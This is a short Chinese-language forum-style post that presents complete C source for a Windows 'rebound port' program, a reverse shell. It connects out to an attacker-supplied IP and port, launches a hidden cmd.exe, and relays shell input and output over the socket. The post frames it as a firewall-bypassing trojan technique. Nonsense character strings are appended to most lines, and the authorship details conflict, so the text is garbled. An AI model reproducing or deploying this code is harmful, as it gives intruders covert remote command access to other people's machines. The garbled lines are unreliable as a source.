这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 Rqp#-04*W
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/* ============================== /bB4ec8!
Rebound port in Windows NT KvPCb%!ZP
By wind,2006/7 Ez5t)l-
===============================*/ iaeNY;T
#include fs&$?mHL){
#include _#6Qf
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#pragma comment(lib,"wsock32.lib") nW7: ]
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void OutputShell(); %evb.h)
SOCKET sClient; uluAqDz`
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; O
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void main(int argc,char **argv) Bz } nP9
{ G7&TMg7i
WSADATA stWsaData; LH4#p%Pb%
int nRet; o C|oh
SOCKADDR_IN stSaiClient,stSaiServer; s*Qyd{"z
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if(argc != 3) N0S^{j,i
{ ;VKWY
printf("Useage:\n\rRebound DestIP DestPort\n"); *?t$Q|2Xr
return; b+qd'
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} DehjV6t
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WSAStartup(MAKEWORD(2,2),&stWsaData); Ds(Z.
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Cqnuf5e>L
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stSaiClient.sin_family = AF_INET; ]?(kaNQ"D
stSaiClient.sin_port = htons(0); v1{j1~ZR
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); 6Pl|FIJF
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) JY CMW!~
{ ];w}?LFb
printf("Bind Socket Failed!\n"); 2om:S+3)2
return; 4ekwmw(ox
} nBk&+SN
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stSaiServer.sin_family = AF_INET; U2YY
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); <?B3^z$
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); hdw.S`~}%
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ljK?2z>
{ `]W9Fj<1j
printf("Connect Error!"); :-jbIpj'
return; H14Q-2U1xa
} a9e0lW:=c
OutputShell(); m,\+RUW'
} y]yl7g =~
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void OutputShell() jm%s#`)g
{ 9jI muSZ
char szBuff[1024]; f%EHzm/V
SECURITY_ATTRIBUTES stSecurityAttributes; *xxk70Cb
OSVERSIONINFO stOsversionInfo; -*mbalU,J
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; F3(SbM-
STARTUPINFO stStartupInfo; )
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char *szShell; H]tD~KM<
PROCESS_INFORMATION stProcessInformation; |c0^7vrC
unsigned long lBytesRead; YtvDayR>
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); BO*)cLQ
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Yd4X*Ua
stSecurityAttributes.lpSecurityDescriptor = 0; =7}1NeC`
stSecurityAttributes.bInheritHandle = TRUE; iHNQxLkk{:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 15jQ87)
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); S'HA]
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); [w<_Wj
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; %"r9;^bj&<
stStartupInfo.wShowWindow = SW_HIDE; H 0+-$s;f
stStartupInfo.hStdInput = hReadPipe; A<|9</9z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; X8m-5(uW
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GetVersionEx(&stOsversionInfo); _0$>LWO~
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switch(stOsversionInfo.dwPlatformId) ~v(c9I)
{ 5!A:xV]6]
case 1: k9*UBx
szShell = "command.com"; /#vt\I<x
break; nmiJ2edx
default: ;MGm,F,o
szShell = "cmd.exe"; H_f8/H
break; ?S&
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} p7> 9
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); .iR<5.
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send(sClient,szMsg,77,0); 2
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while(1) Ut2T:%m{
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PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); @>(JC]HtR
if(lBytesRead) kAp#6->(q
{ v CsE|eMP
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); JfkEJk<
send(sClient,szBuff,lBytesRead,0); !B Pm{_C
} :2xGfy??
else i45.2,
{ \\ItN
lBytesRead=recv(sClient,szBuff,1024,0); *
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if(lBytesRead<=0) break; 6rbR0dSgx
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); %pjY ^tM/
} e~
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} fLs>|Rh
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return; Pteti
}